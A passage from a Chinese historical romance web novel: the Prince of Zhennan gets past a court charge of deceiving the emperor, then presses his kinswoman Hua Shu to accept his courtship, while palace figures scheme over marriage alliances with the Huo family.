霍霆缓缓停住步子,侧脸看来,目光意味深长,“傻姑娘,你后来这一番解释才更为致命。” 华姝呼吸微滞,“多谢王爷提点,华姝记下了。” “你刚刚说,登高望远也能解开困局。”霍霆又道:“若是此处万顷辽阔,浮云遮眼,你又当如何?” 女人的直觉天生细腻,华姝思绪又飘至那座塔。 感觉他想听的答案,任重道远,并非她能企及。 但她还是凝神想了下,指向远处的朱墙,“一城山水一程人,我先走出眼前这道围墙,说不准街上就有人引路了。” 霍霆望着那围墙若有所思,好半晌才回神,气场似乎轻快了些,“这不是能想明白么?” 华姝对上他揶揄的目光,反应过来,雪腮倏地绯红,“两、两回事。” 前朝之事,如何能与后宅的混为一谈? 她羞恼地调头走掉,结果没走两步,又无奈巴巴地停脚等他,“王爷,我不认路。” 霍霆低笑了声,款步跟上来。 途中有夜风袭来,他不动声色地绕了半步,将她挡到里侧。 很快,两人来到华姝的房门口。 霍霆朝她伸出手,“拿来。” “什么?” “药膏。”他沉声道:“闲杂人等的东西少用。” 什么闲杂人等,那是她师父。 可面对他摄人的威压,华姝被迫从袖中掏出一瓶药膏,慢吞吞地又掏出一瓶。 霍霆接过去,帮她推开房门,“明日我去趟太医院,西域的贡药见效更快些。” 华姝没动,忽而忧心起来,“您进宫的话,那腿疾一事,皇上可会怪罪?” 霍霆让她放宽心,“欺君牵连九族,包括发妻,不会包括你这个表侄女。” 华姝脸色一晒:“您明知道我不是这个意思。” 不过瞧他这八风不动的神色,应是早有对策,不说就不说吧,于是她转身进门。 身后这时,一句戏语随风飘入耳中。 “再不济,我也会坚持到明日。” 第28章 翠绿色小衣 皇龙寺, 禅房 大夫人醒过来,抱住失而复得的女儿,就是一顿痛哭。 “佛祖保佑,没事就好, 没事就好。”二夫人母女冒雨赶回来后, 始终守在这, 回想起来也是阵阵后怕。 “怎么不见姝儿?”大夫人缓过劲后,四下环顾。 “姝儿为了护我伤得厉害, 四叔先带她去别院看诊休养了,以免过两日回府祖母忧心。”霍千羽拭去泪珠,按霍霆交代的简单回道。 大夫人点头,“还是你四叔想得周全。” 虽说此次霍千羽很可能受了华姝连累,但听得在山谷华姝的舍命相救,大夫人心也软得一塌糊涂,生不出丝毫的责备。 笑着朝二夫人和阮糖她们道谢送别,关起门来,细致为霍千羽沐浴梳洗, 擦药。 她忽然思及, 清枫斋平日只有小厮侍卫伺候, “半夏还在山上,也不知你四叔别院有无丫鬟伺候姝儿。” “四叔可是镇南王, 家大业大, 手底下不可能连个丫鬟都没有吧?” “倒也是。” 暮夜时分, 山风阴恻恻的, 禅院中昏黄灯笼左右摇晃。 大夫人照顾着霍千羽安心睡下。回想起下午惊险,仍是寝食难安。索性跪在房中的佛像前,潜心祷告。 她尚且不知圆妙遇害一事, 仍满心期盼霍千羽双腿得治,早日能站起来,健康欢脱于阳光之下。 霍玄明日殿试,亦是求佛祖保佑,“不求一定夺得前三甲,只愿他殿前诸事顺遂。” 念叨起爱子霍玄,大夫人即想到他与华姝的议亲。 两人都是好孩子,既然情意相投,她自然一并诵经祈福,早日为她生下个大胖孙子。 想到这,大夫人脸上重新容光焕发。 “嘀嗒,嘀嗒……” 木鱼声一直延续至幽静的午夜。 与此同时,西厢房的阮糖亦是兴奋到难以入眠。 “适才听霍大姑娘说,王爷双腿已愈,当真是上天都眷顾小姐呀!”丫鬟替她高兴。 “谁说不是?终是被我等到了。”阮糖嘴角翘起,想压都压不住:“自古成大事者,皆要耐得住性子。我可不是沈青禾那个傻子。” “如此一来,小姐近水楼台,王妃之位非您莫属。” 阮糖却是笑意微凝,对于华姝前夜只身去给霍霆治疾一事,不敢掉以轻心。 小丫鬟:“可沈姑娘不是说,霍家大郎与华姑娘早已情投意合吗?” 阮糖微牵唇角:“但愿如此,否则就怪不得我了。” * 次日天朗气清,皇宫早朝 今日的太极殿前,除了等候的文武百官,还有一队年轻的生面孔。 秋闱入殿试者共计百人,经昨日卷面遴选,最终有二十人得资格面圣。 他们尚无官职,着统一样式的月白锦袍和翠玉冠。霍玄等未及弱冠的少年,则以一根翠玉发簪,盘发代替。 这差别看似细小,实则能精准筛出更为杰出的青年才俊。 像今年二十人中,仅霍玄等三人未及弱冠。百官路过时都会瞥上一眼,思考是否要收为己用。 但瞧向霍玄时,不免惋惜摇头。 若镇安王腿伤未愈,此子尚能入圣上青眼,大展青云之志。如今这关口,欺君之罪呼之欲出,霍家能否保住都是问题。 霍玄本人对此尚不知情,他迎风玉立于万丈朝阳下。 明媚光晕中,似有一抹米黄倩影,于桂花树下露出明媚笑靥,灿若夏花。 他曾与这心爱姑娘的约定,殿试之后即商议亲事。 霍笑意温润:姝儿,等我。 “皇上有旨,宣待选进士上殿——” 殿内龙椅旁,随着内侍大监一声尖细高唱,殿门口的太监,殿外侍卫,相继通传。 通报声一道高过一道,清晰传入霍玄等人耳中。二十人按照礼节,规行矩步走进殿内,躬身拜见。 霍玄走进殿中,一路瞥见三叔、父亲、二叔的身影位列文官。 直到队伍站定,才瞧见左侧位列武官之首的四叔,蓦地愣住。 四叔竟能站起来了? 这时,队首之人已开始小心应对天子的问话。 霍玄忙不迭回神,专心应对殿试。 短暂游思间,仍止不住欢喜。应是圆妙大师治好了四叔的双腿。如此一来,长姐的腿岂不是也大有希望? 半柱香后,轮到霍玄躬身上前,聆听圣意。 昭文帝端坐于龙椅,瞧了眼摆在明黄御案上的霍玄的考卷,目光却定到霍霆身上。 “霍家一门四臣,如今霍家大郎亦是少年进士,霍家实乃人才辈出啊。” 昭文帝看似随意慨叹道。 实则暗指霍家在朝中势力庞大。 早些年,霍家三位老爷官职不高,数量多亦可忽略。但霍霆回京后,异姓王以一抵三都不止。再添三人助力,可谓如虎添翼。 霍雲几人闻言,不由冷汗直冒。 这万一应对不周,恐要盖上个结党营私的重罪啊! 还有四弟这腿疾之事,更是雪上加霜。 这可如何是好? 文武百官也都心照不宣,大伙都好奇,霍霆接下来要如何闯过这重重难关。 裴夙亦然,立在御案的斜前方,饶有兴致。 “微臣多谢皇上谬赞。” “普天之下莫非王土,率土之滨莫非王臣。我霍家儿郎能侥幸接连入朝,皆是无上荣光。” 当着百官之面,霍霆毫不吝啬表达忠心。 不等旁人开口,主动提及腿疾治愈一事:“前两日承蒙皇恩浩荡,微臣这腿疾得治,日后定会为皇上誓效犬马之力。” 这份态度,让昭文帝还算受用,“镇南王双腿得愈,还能再行驰骋疆场,朕心甚慰。” “倒是不知何方神医,这太医院无法治愈的重伤,他竟能治得。”他状似随口一问。 自有天子近臣,心领神会地接住话茬:“王爷适才提及皇恩浩荡,莫非是那皇龙寺的圆妙大师?” 霍霆颔首:“不错。” “圆妙大师分明已于昨日圆寂,这怎么可能?”户部尚书宋煜之父逮住机会,出言反驳。 “宋尚书所言极是。”裴夙适时笑道:“昨日本督也在皇龙寺中,曾听王爷亲口所言,您不曾与圆妙大师见面呐。” 此话一出,不免有人议论纷纷。 霍雲等人越发心绪不宁,皆为霍霆捏把汗。 宋尚书更是提前窃喜盘算,待霍霆欺君抄家之罪落实,他定要将煜儿所受的责难连本带利讨回来。 昭武帝将众人的反应一一收入眼底,静观其变。 唯独不见,霍霆脸色有些许改变。 只听他语速不疾不缓:“本王腿伤严重,单凭一日两日怎可见效?” “与圆妙大师的缘份,要从回京途中论起,恰逢他那时云游在外。” 话音落下,太极殿有瞬间沉寂。 众人反应过来,皆暗啐了口。 呸,好不要脸! 这不就是欺负圆妙大师已圆寂,死无对证吗? 霍家爷几人自然偷着乐。 但昭文帝与裴夙等人,却不可能这么好糊弄。 尤其户部宋尚书,皮笑肉不笑,老脸不善:“如此说来,圆妙大师遗留下的这道药方,当真奇效了得。” “若是王爷能交与太医院,日后加以推广,必然利于挽救后人伤疾。” 言外之意,有本事你将看病的证据拿出来啊! 然后,霍霆还真就从怀中掏出一张折纸,呈递给内侍大监。 他淡淡瞥了眼右侧,“宋尚书身为文臣,能堪忧我等武将的重大伤疾,实乃我大昭百姓之福。” 宋尚书瞪大眼瞧着那张药方,难以置信:还真有?! 萧成混在武将当中,暗叹老大英明。 昨日,长缨护送霍千羽回去后,即去寻人模仿圆妙大师的笔迹,誊抄当时华姝在山中开具的药方。 然后,萧成等人天亮从别院离开后,即刻控制住圆妙大师身边的那四个小沙弥。 ——这才是真的“死无对证!” 霍雲等人亦是称赞不止,如释重负。 尤其瞧见宋尚书那铁青的脸色时,越发大快人心。 其余人也看戏似的瞧过去,一时间,宋尚书的老脸更是青红交加。 龙椅旁,裴夙接过内侍大监呈上来的药方,略略浏览后,也不得不点头承认这份药方的疗效。 事情到此,众人原本期待的滔天巨浪,被霍霆三言两语化解为一道小波澜,风过无痕。 裴夙笑吟吟望着他,宛若殿外初升的朝阳,嘴角偏又藏着微妙的弧度。 殿试考核继续。 昭文帝问霍玄,“这道水文策论,你是如何想到将治水之策整理成册?” 霍玄拱手答:“回禀皇上,家父任职吏部,前不久临时接管兵部差事,前期上手难免生疏。学生因此得到启发。” 昭文帝似笑非笑,“兵部的差事交与吏部官员,这本不符合常理。” 看似戏言,却再次令众人眼皮一跳。 天子怎会犯错? 霍玄若是个拎不清的,顺着皇上的话语附和,那此生再难有出头之日。十年寒窗苦读,将一文不值。 其父霍雲最为紧张,心脏都要从嗓子眼蹦出来了,偏偏这时不可多嘴。 霍霆则始终目不斜视,似乎周遭一切都难以牵扯其情绪,又或他对霍玄抱有足够的信心。 裴夙依旧笑眯眯的,静观其变。 “回皇上的话,学生认为此举并无不妥。”幸得历经刚刚那一遭,霍玄这会答话尤为谨慎。 他回忆着霍霆先前的答话,也恭敬表明忠心:“正如王爷适才所言,天下人臣皆为皇上所用。故而,差事从不该分你的我的,为皇上分忧才是不忘初心。” 他嗓音温润,不卑不亢。 却也一字一顿,足矣掷地有声。 百官闻言,不由点头,接连朝霍家四位老爷投来赞许的目光。 昭文帝则偏头与裴夙对视,两人眼底皆有一闪而过的欣赏。 孺子可教。 * 城郊别院 霍玄下早朝回来时,华姝业已起床梳洗完毕。 听到敲门声,她起初以为是下人过来送早膳,就绕到屏风后面,“进。” 霍霆推门而入,环视房间,隐约捕捉到锦绣屏风后的一道娇小倩影,款步走过去。 “王爷?”听到脚步声由远及近,华姝反应过来,慌忙双臂交叠在身前,背过身前。 “这是怎么了?”见她脸颊发红,霍霆不解:“可是伤口有恙,发起高热来?” “没有,是这会不太方便。”华姝捏紧衣襟,檀口张张合合,理由却难以启齿。 霍霆再度端详她防备的姿势,结合那泛红的脸蛋,了然。大抵是姑娘家衣衫不整,不便见人。 “你且先去收拾。”他转身走远,拉开距离。 华姝悄然松口气。 早上霍霆走得急,她又不便交代小厮去置办贴身衣物,只好趁着阳光充足,早早将昨日的脏衣物洗好,晾在净室窗前。 这会宽大的男子锦袍中,没有贴身小衣,胸前凉飕飕的,实在不便见人。 于是她忙不迭转进卧房,去取叠好放在床头的披风。 谁知披风刚裹了一半,就听见霍霆的脚步声,往净室去了。 那晾晒的衣物,岂不是…… “王爷留步!” 华姝匆匆小跑去拦人。 怎奈霍霆身形高大,迈的步子也是极大。待她追过去时,他已一脚踏进净室。 入眼就是那件小衣,在窗前的置衣架上,随风飘荡。 一块翠绿色的薄布片上,大红芍药刺绣花样,鲜艳夺目,惹人遐思。 霍霆伟岸身躯一滞,黑眸忽暗,似无尽幽海。 “我、我收拾一下。”华姝小碎步赶至,窘迫地蚊声说道。 霍霆状似若无其事背过身,挪开步子,将门口让出来。 华姝埋低头进去,顾不得衣物还带着湿意,手忙脚乱踹进怀中。 又掩耳盗铃地将小衣裹在最里面,才羞赧夺门而出,将其放到对面的闲置书房遮挡好。 霍霆已行至中堂的圆桌处,一碗冷茶饮尽,喉头仍余有干涩。 他轻咳了声:“是我思虑不周,你稍等片刻。” 说罢转脚出门,亲自去街上为华姝挑选几套新衣物。 还在老板娘的卖力吆喝下,大手一挥,买下好几套珠宝金饰头面。 每套皆是价值不菲,珠光宝气。 店内的其他小娘子瞧了,个个都羡慕地睁大了眼,忍不住频频侧目。 别院内,待华姝解开素色包裹后,瞧着在阳光照耀下熠熠生辉的首饰,也不禁惊叹咂舌。 这也太贵重了吧。 就是她不吃不喝一年给人看诊,也赚不到这么多诊金。 华姝默了默,将首饰盒全部规整好,摆放在圆桌上。只挑了套藕粉色的淡雅衣衫,绕过锦绣屏风,往寝房而去。 潜意识里,她还是没法心安理得地花霍霆的银钱。 华姝走到床边,将叠好的藕粉衣衫摊开,目光落在那件翠绿色小衣上,怔住。 一样的颜色,一样的大红石榴花刺绣。 他看见了。 他全看见了。 还将刺绣花纹记得如此清晰! 华姝刷得涨红脸,咬唇望向门口方向,好想责问那人是不是故意的。 当然,借她十个胆子也不敢,只能羞羞答答地快速换好。 门外,厨房的下人送来热气腾腾的早膳,摆满庭院中央的整张石桌。 旁边红膛小炉,茶香四溢,白雾袅升。 霍霆大马金刀地坐在石凳上,没急着动筷,沐浴阳光下,悠闲品茗。 目光时不时投向主屋紧闭的房门,心绪微有不定,比上早朝还略有紧张。 毕竟上早朝已习以为常,给女人置办衣物却是实打实头一回。 也不知他选的,像华姝这个年纪的姑娘家会不会喜欢。 为以防万一,他特意选了套与她昨日穿着相近的衣物,想来怎么都能托底吧…… “吱呀——” 房门被从里面拉开,华姝穿着一袭藕粉色衣裙,娉婷款款而出,裙摆随风摇曳。 她走近后,福身行礼:“让王爷久等了。” 霍霆摆手让人坐下,“衣物可还合适?” 华姝动作一顿,小脸再度羞愤难当,她咬了咬牙:“合适的。” “首饰怎得一件没戴?”他又端详起她极简的发髻,“不喜那样式?” 华姝坐下来,低头捧起茶盏,“……太贵重了。” 三四个字,变相道明她此刻的态度。 霍霆闻言,定睛瞧了她一会,“先用膳。” “好。” 之后的桌前,两人都相继无言,连夹菜都鲜少有磕碰碗碟的声响,异常安静。 倒是庭前的树梢上,麻雀叽叽喳喳,穿插着茶炉沸水声,聒噪得不行。 膳后,饭菜悉数被撤走,小厮端来铜盆和干整的白帕子。 霍霆边净手,边状似随意地提及一嘴:“今日殿选的榜次已揭晓,玄儿夺了探花。” “当真?”华姝放下帕子,欣然转身面朝他,眉眼间笑意难掩,“祖母和大伯母她们知晓后,定然欢喜不矣。” 她两朵梨涡姝美雀跃,笑靥熠熠生辉,烈阳之下,似是恍了人眼。 霍霆停下动作,就那么淡淡瞧着她。 华姝心弦一跳,看懂那狭长黑眸中的深意,笑意尽敛,“王爷尽管放心,我并无旁的意思。” 霍霆无言收回目光,转身款步走进主屋,站定在圆桌的那一摞首饰盒旁。 华姝低头跟在他身后,心绪七上八下。 她站一旁等了会,未等到任何吩咐,心里越发没底:“若有必要,我可以搬回华府,如此就能与表兄避……” “戴上给我瞧瞧。”霍霆忽然开口。 华姝面露不解,迟疑一瞬,按他吩咐照做。 她没选那些繁复贵重的布料,只挑了件看上去相对便宜的梅花金簪。 正要拿去铜镜前时,霍霆先一步伸手拿过去,打量道:“喜欢简单样式的?” 华姝违心地点点头,没敢与他对视。 霍霆:“长缨,去将这些都扔了。” “都?” 长缨心说,这些都还没戴过呢。 然而待对上自家王爷那蔼蔼沉目,他也只能听令行事,端上首饰盒出了门。 华姝亦觉惋惜,可这会霍霆明显不悦,她的那点小心思根本瞒不过他。 在两人日后关系这事上,她说什么都是错,说多多错,索性不再出言惹他不快。 意外的是,男人的暗金纹黑靴,出现在她脚边。 他抬起手,将金簪插进她乌墨发髻间,动作轻柔。 华姝诧异抬头,渐觉此事尚有转机。 “王爷挑的几套首饰,款式都很华美大气,适合出席盛宴时佩戴。我平日里这等时候不多,倒是二表姐跟随二伯母常去赴宴,不若拿与她?” 霍霆垂眸注视过来,“她若需要,自有你二伯父出钱。我的俸禄,只供养我的女人。” “谁是你的……”女人。 华姝下意识反驳,却是未语先羞,面红耳赤。 好似一只犯了错又不打自招的小狸奴,先是浑身炸毛,转而连耳朵都变得软趴趴的。 霍霆松开发簪,粗粝指腹抚上她发烫的雪腮,轻扯嘴角:“你猜。” 第29章 答应了他 有军务急报传来, 霍霆被长缨请走。 临走前,他留下交代:“日落之前,我都在书房。” 言外之意,她要在日落之前, 给出那个昨晚推迟的答复。 华姝缓缓踱步到院中, 茫然坐在石桌旁, 一动不动。 这间院落很大,石桌对面有一片水波荡漾的荷塘。虽然秋季荷塘枯败, 但从精致的布局来看,这里应是主院。 她被安排住在这里,用意明显。 受宠若惊。 不久,长缨去而复返,送回来那几匣子首饰,“王爷吩咐,这首饰由表姑娘自行处置。” “怎么处置都行吗?”华姝为难地看着桌上几个精贵的红木首饰匣,自己全收下太过贵重,拿回霍家送人又说不清道不明的。 长缨点头, “送与表姑娘的东西, 自是由您处置。” “那烦劳长缨侍卫, 拿去充军饷吧。” “您确定?”长缨诧异一瞬。 转而意识到王爷交代他这趟任务之重,并非来送首饰, 而是要想法子劝表姑娘收下这首饰。 要不然, 估计他会连同首饰, 一起被打包扔进军营回炉重造。 华姝:“不是我自行处置么?” “话虽如此, 这好歹也是王爷从整条街的首饰铺子中,优中选优,精心挑出的几件镇店之宝。”长缨小心瞧着华姝的脸色, “您说王爷知晓后,得多难受啊。” 华姝眸光微动,但还是摇了摇头。 长缨再接再厉:“属下跟在王爷身边这么多年,还是头一次见他对军务以外的事如此上心。” “担心您寺里遇险,自己跟上山还不够,还派了濯缨暗中相……” 像说漏嘴似的,他慌忙捂住自己嘴巴,眼神却一直瞄紧华姝。 成功引起她注意:“濯缨?” 从这名字来看,不难猜出此人与长缨同为霍霆的亲卫。 暗中相护? 她毫无察觉,却丝毫不怀疑这番话的真实性。霍霆对她的好,从不局限于明面上。 而这一结论,又让华姝细思极恐。 她是从何时开始,对他如此无条件的信任? “表姑娘,您还是别问了吧。”长缨欲言又止。 华姝意味深深盯视他,“你确定不需要我再问?” 小心思被当场看穿,长缨讪讪挠头,而后惊奇地端详起她,左看右看,“表姑娘,您这审讯时的神色……怎么跟王爷似的?” “像!” “太像了!” 华姝被他说得怪不好意思,“你要是没别的事了,就请回吧。” “说说说!”长缨怂怂地虚拦住她,麻溜说明事情原委,不敢再耍心思。 一缕秋风吹来,金黄树叶纷飞,飘落在荷塘中,水面泛起阵阵涟漪。 恰如华姝此时的心绪。 听到家宴那日,霍霆引她过去是为了让濯缨认人,她心中五味杂陈。 原是误会他的一番好意。 “沈青禾她父亲的事,也因王爷吧。”她福至心灵问了句。 “起因是为您。”长缨如实道:“不过那沈大人的确是无甚才敢,后来王爷也没再过多干预,他自己贪功冒进,遭到圣上贬斥。” 华姝暗叹,果然。 果然他从未想过放手,她亏欠他的,也远不止水面上冰山一角。水面下的默默守护,又何其辽阔深沉。 可感激终究是感激,无法与心动混为一谈。 * 宫门前的主街上,今日格外熙攘。 百姓夹道,都想抢先一睹状元郎的卓绝风采。顺天府的差役们全员出洞,维持秩序。 “来啦!” “状元郎出来了!” “快看……” 随着朱红铜钉的宫门巍峨拉开,霍玄与另外两人,齐齐被请上事先备好的高头红马,套好红色外裳和大红花,被簇拥着开始这场游街之行。 所过之处,皆是万人瞩目。 更有年轻大胆的姑娘家,一早占据酒楼二层最好的位置,娇羞地往他们怀中抛绣球,丢香囊帕子。 他们三人应接不暇,颇为无奈的苦笑,逗得路旁的百姓合不拢嘴。 “听说状元郎已有婚约。” “榜眼倒是没有,但都二十有二,年纪偏大。” “哎,那个探花郎好生俊俏,我喜欢!” 茶馆二楼的天字雅间,福佳公主凭栏眺望,“莲心,你去问问,探花郎是哪家的公子” “禀公主,奴婢一早就打探好了。今年的探花郎,出自霍家。” 福佳公主踮起脚尖,仔细端详着霍玄清秀的五官,“霍家……可是镇南王的族人?” “正是霍家大郎。” “不错,不错。”福佳公主连连点头,“宋妃倒是没骗人,今年前三甲值得一观。” “如此说来,如今霍家一门五人在朝为官了,门第不俗。”福佳公主身侧的蓝衫女子,掩面轻笑:“这位探花郎又一表人才,年少有为,与咱们福佳倒也相配。” “小姑你惯是拿我打趣。”福佳伸手去挠她痒痒,“你可别忘了,皇祖母最惦记你的婚事呢。” 蓝衫女子摇头,“论起来,这几位皆与我差着一辈。若是与之议亲,传出去岂不是闹笑话?” 此人乃是昭文帝的叔父康王遗留的孤女,韶华郡主。太后可怜她小小年纪痛失双亲,自小接到宫里养着。 韶华郡主也是韶华佳龄,奈何人小辈分大,与世家公子议亲时总不好相配。 “唉,要是镇南王没有腿疾就好了。” 福佳公主轻叹:“都说他器宇轩昂,英勇神武,谈笑间即能让敌军闻风丧胆。辈分上也与小姑合适,简直天造地设。” 镇南王么…… 韶华郡主微有出神。 早在太后提起霍霆时,她曾悄悄托人送来霍霆的画像。右眉骨虽有条斜短细疤,依旧难掩他仪表堂堂的不凡气度。 知情人还说,他这些年在外行军打仗,从来都克己持重,不近女色。即便对女战俘亦或营妓,都分寸得体。 诚如太后所言,实乃不二良配。 * 城郊别院 华姝将几匣首饰分门别类归整一遍,先挑出霍府女眷平日喜欢的款式,将剩下的装好拿给霍霆。 他若肯收下,这部分就用来当军饷。不肯收,她就留着买药材给他治疾。 书房离主院不远,华姝绕过蜿蜒的石子路,一路寻过去。 门半掩着,长缨候在旁边。 瞧见她手中的首饰匣子,表情一言难尽。 经他通禀,华姝抬脚走进书房。 窗前,霍霆站在书案后,瞥了眼她手上的首饰盒,又垂下眼帘。 长条案面上,是一巨幅山河图。地图上有些兵将车马的小型木雕,看起来似在模拟作战阵型。 华姝安静等在书案对面,没敢打扰他的思路。 思及接下来的艰难游说,她指尖无意识搓着红木匣子的菱角,动作越来越频繁,很快通红一片。 霍霆掷了手中的木雕,抬起头,神色不明。 华姝心跳一起又一沉,但想起长缨才细数过男人的好,她还是壮起胆子,将首饰木匣放到书案上。 “王爷,这些首饰过于贵重了。我留了些喜欢的样式,剩下的还是交由您处置吧。” 霍霆淡淡看着她,无言沉默中,染上一股无形的威压。 分明没斥责一句,却叫华姝头皮发麻。 隔着书案,他朝她伸出手,“过来。” 长缨见状,麻溜从外面把门关上。 空间密闭,华姝不免又局促几分。 她略作迟疑,坚定摇头:“王爷……四叔,我们不能再错下去了。” 霍霆叹了声,绕过书案而来。 “前些年,我身边不曾有过女人,却不代表没人往我营帐送女人。”他粗粝大掌抚起她脸,四目相对:“华姝,你懂我意思吗?” 自打屡战屡胜,战神封号尚未传遍燕京时,地方官员和战败使臣前来进献的美人已不计其数。但都被霍霆赏给下属了。 诚然来讲,与华姝山中纠葛,始于男人欲望。后来回府后屡次相助,也有出于负责的成分。 然而昨日远远望见她孤战绑匪,霍霆心绪复杂。 那一刻,欣赏,心疼,惊惧,愤怒……杂糅成团,难以区分。 但能确认的是,他想将她长久纳入自己羽翼之下,“我对你,绝非将错就错。” 打定主意,霍霆眸光专注而灼热,侵略性更甚。 华姝薄薄脸皮染上红晕,想装不懂都不行。心中怦然狂跳,似乎要钻出来一般。 能得一位战神这般相待,鲜少有几个女子能无动于衷吧。 他勇武有担当,多年洁身自好。 且多次搭救她于危难,差点背负欺君罪名。 偏偏两人中间,横亘一条难以跨越的鸿沟,“可我们总不能罔顾人伦。” “已经罔顾了,不是么?” 他近乎残忍地,切断她所能逃避的退路,“所有流言蜚语我来担,所有错误皆是我犯,你只管踏实地跟在我身后。” 华姝摇头,使劲摇下头。 后退了两步,逆着他沉沉目光,深吸了口气: “大昭战神不该为此抹黑。” “祖母上了年纪,也经受不住这般打击。” “更何况王爷忠肝义胆,声名在外,没人会信您强迫女人,过错还是在我。众口铄金,您权力再大,也堵不住悠悠众口。” “就像当时,祖母也勒令府中不得议论此事,您不还是亲耳听见了……” 华姝嗓音一颤,咬唇背过身去。 她仰头企图逼退泪水,可那些不堪入耳的、躲到哪都躲不掉、就连做梦都在被指责谩骂的流言蜚语,全都涌上了心头,狠狠撕扯着她的心房。 这世道,女人一出生就要背负枷锁。 男人在吃女人,女人也在吃女人。 如利刃一般时刻悬在头顶的三纲五常,他从未经历过,又如何能懂她的愁与恨? 房间安静下来,压抑微弱的啜泣声也清晰可闻。 过了会,另有脚步声响起。 不待华姝转头,腰间突然环上一道铁臂,稍微用力就将她环入温热的怀抱。 霍霆顾及她后背有伤,没拥得太紧。 带有薄茧的指腹,轻柔抹掉了她眼尾的湿意,语势却仍旧逼人:“其实你那些顾虑,都敌不过一道赐婚圣旨。” 华姝心跳骤沉,“不要……” 她嗓子还余有浓重的鼻音,眸底也重新漫起一层水光。 但男人这次不为所动。 只问:“你是要留一丝余地,还是要赐婚?” 这是下最后的通牒了。 摆明不会轻易松口。 可华姝又如何能轻易让步? 她挣扎地想拉开距离,腰肢反被他大掌箍得更紧。 今日这波较量,权势,力量,谋算,她都一败涂地。 房间再度安静下来,万籁俱寂,唯独香炉白烟袅袅。 待白烟燃尽,身侧男人俯下身。 温凉的唇,吻到她红肿的眼角,吮去未干的泪痕。 最终,贴在了她唇瓣处。 细碎厮磨,但又没有进一步深入。 灼热的气息,喷洒在她鼻头。 华姝呼吸微乱,不得不开口回应:“能多给我些时间适应吗?” 这个回答,不出霍霆所料。 华姝在他眼前,好似一张干净的白纸。以他对她的了解,今日本也不指望能彻底谈妥。 但总算有所松动,逼出了心里话。 “多久?”他虚张声势地轻啄下娇唇,嗓音微哑:“若要等上十年八年,我该去寻谁评理?” “我不会用那么久的。”今日究竟是谁不讲道理? 被他勾的,华姝的嗓音也有点泛哑:“三个月。” 回府后提前筹划,等祛除霍霆体内余毒,她就悄悄离京。找个小镇隐姓埋名,靠诊金平淡过完余生,也是不错的选择。 岂料,“十日。” “一个月呢?” “三日。” “你……唔……” 他忽然抬手捏住她下巴,另一只手扣住她后脑,俯身覆过来,刚毅的俊脸骤然放大在跟前。 华姝的心跳又乱了一拍。 他却只轻碾着她娇唇,慢慢细吮着,似没有长驱直入的打算。 但那意味深深的眸光,让华姝一瞬了然,他在等她的主动——以此决定她能再拖延几日。 这样的情形并不陌生,类似夫妻间的闺房情趣,在有求于他时。山中风月历历在目,华姝白皙的耳后泛起薄薄粉意。 可画面一转,是满头白发的祖母和那么多霍家亲友,是那些“不知羞耻”、“下贱放荡”、“陪睡野汉子”的流言蜚语,刺耳锥心。 她无力闭上眼,在他唇瓣含糊道:“对不起,我还是做不到。” 霍霆停下动作,无言瞧了会怀中姑娘,“那就一个月罢。” 他手指穿进那一头顺滑青丝,揉了揉,“林军医已在回来的路上。待我清尽体内的残毒,就请旨带你回南边的封地,远离京中是非。” 华姝愕了下,睁眼。 原来他有这一层打算,确实是个折中的法子。 可那么多霍家亲友还留在京城,尤其满头白发的祖母,老了老了,反要因为她这个不孝孙女而饱受世人非议么? 华姝于心不忍,但又感觉不能再火上浇油,索性转移话题:“下毒暗害您的凶手,不查了吗?” 见霍霆态度有所松缓,她试着轻推他臂膀,想从他怀中挣脱出来。 却反被捏起下巴。 动作不重,但带有别样情愫的强势。 “顾念我安危,顾及我名声,还知道替我省钱。”他问:“好姑娘,你真看懂自己心了么?” 粗粝指腹碾了碾她的唇,唇瓣传来微弱的酥麻。 华姝趴在那炽热坚硬的胸膛上,指尖不自觉抓紧他衣襟。 此刻的感觉有些后怕,又有些奇怪。 她垂下眼帘,半真半假道:“若大伯父这般,我也会在乎的。” 捏着下巴的大掌,加重了力道,“再给你次机会。” “……幼时,祖母就教导表姐我们几人,要孝、恭、善、勤、俭,不得辱没门楣,不可铺张浪费。” 头顶响起一声轻笑:“那你且去告状吧。” 语气有恃无恐,更像另一种程度的威胁。 华姝笃定,她若真闲得没事去讲,多半是自投罗网。 她抿唇不再搭腔,可真一安静下来,耳畔有力的心跳声,就越发清晰。 连嗅觉也被放大,那股独有的男子气息,搅得华姝心绪凌乱。 诚如所言,她看懂自己的心了么? 是真对他的感觉不同了,还是这段时日,底线已被他一点点侵蚀、瓦解? 譬如表姐腿伤的事,自打她当时急得大病一场后,祖母就勒令全府上下再不准提起。 事情看似随着时间一点点淡忘,实则在她心头越积越深。 重提徒增旁人的烦扰,时隔经年,竟莫名同他倾诉了所有…… “生气了?” 见她不语,霍霆稍微拉开两人距离,俯身瞧过来。 小脸无精打采的。 他抬手试了试她额头温度,排除昨日淋雨染上风寒的可能,剩下的缘由不言而喻。 “没有,不敢。”华姝恹恹应了声。 “你敢做的事还少吗?”霍霆点了点书案上的那几匣首饰,“就仗着我不舍得罚你。” 语气不善,偏又言辞暧昧。 他总是有办法,三言两语,就让两人之间的温度,急剧升高。 让她的心跳砰砰加速。 华姝圆润白皙的耳垂,不受控制地染红一片。 像一粒鲜美多汁的诱人红石榴,挂着一颗小巧而晶莹剔透的绿翡耳铛,晃荡在霍霆眼前,鲜亮的颜色惹人觊觎。 他喉结微动,扬手采撷其中,“在山里也是这般害羞?” 嗓音暗哑。 粗粝的指腹,带着别样的触感,惹得华姝忍不住连连颤栗,呼吸紊乱。 她咬住唇瓣,认命地点点头。 然后,试着往外扯了下。 霍霆唯恐伤着她,适时松了手,面露可惜。 山中那会,她比现在主动的多,相比这张小脸蛋上的神情更丰富多彩,可惜他那会一眼都没瞧见。 罢了,来日方长。 * 昭和宫 宋妃言笑晏晏地送走福佳公主,然后由宫女搀扶着躺回软塌上。 她今年尚且不足十八,昭文帝已值而立之年,每次都招架不住他的龙虎精神。侍寝后,总要歇上好久。 宫女是宋府的家生子,体贴地为宋妃按揉着腿脚,“娘娘真要替公主去御前美言,讨那霍玄作驸马?届时霍家必定风光无限,老爷夫人那里可如何交代?” “我去说只是顺水人情,这婚事能不能成还未可知。”宋妃轻摇着团扇,掩面相笑。 如今镇南王腿疾已愈,一家五人同朝为官,且手握十万重兵,将成为皇上心腹大患。 福佳公主嫁过去,不过也是一枚离间霍家四房兄弟的棋子。 她都看得懂,霍家如何看不懂 以镇南王那铁血手腕,这婚事难办。 可皇上身居高位久了,又岂容他人忤逆? 宋妃:“且瞧着吧,京城又要上演一出好戏。” * 华姝午睡醒来,已是暖阳西斜,下午过半。 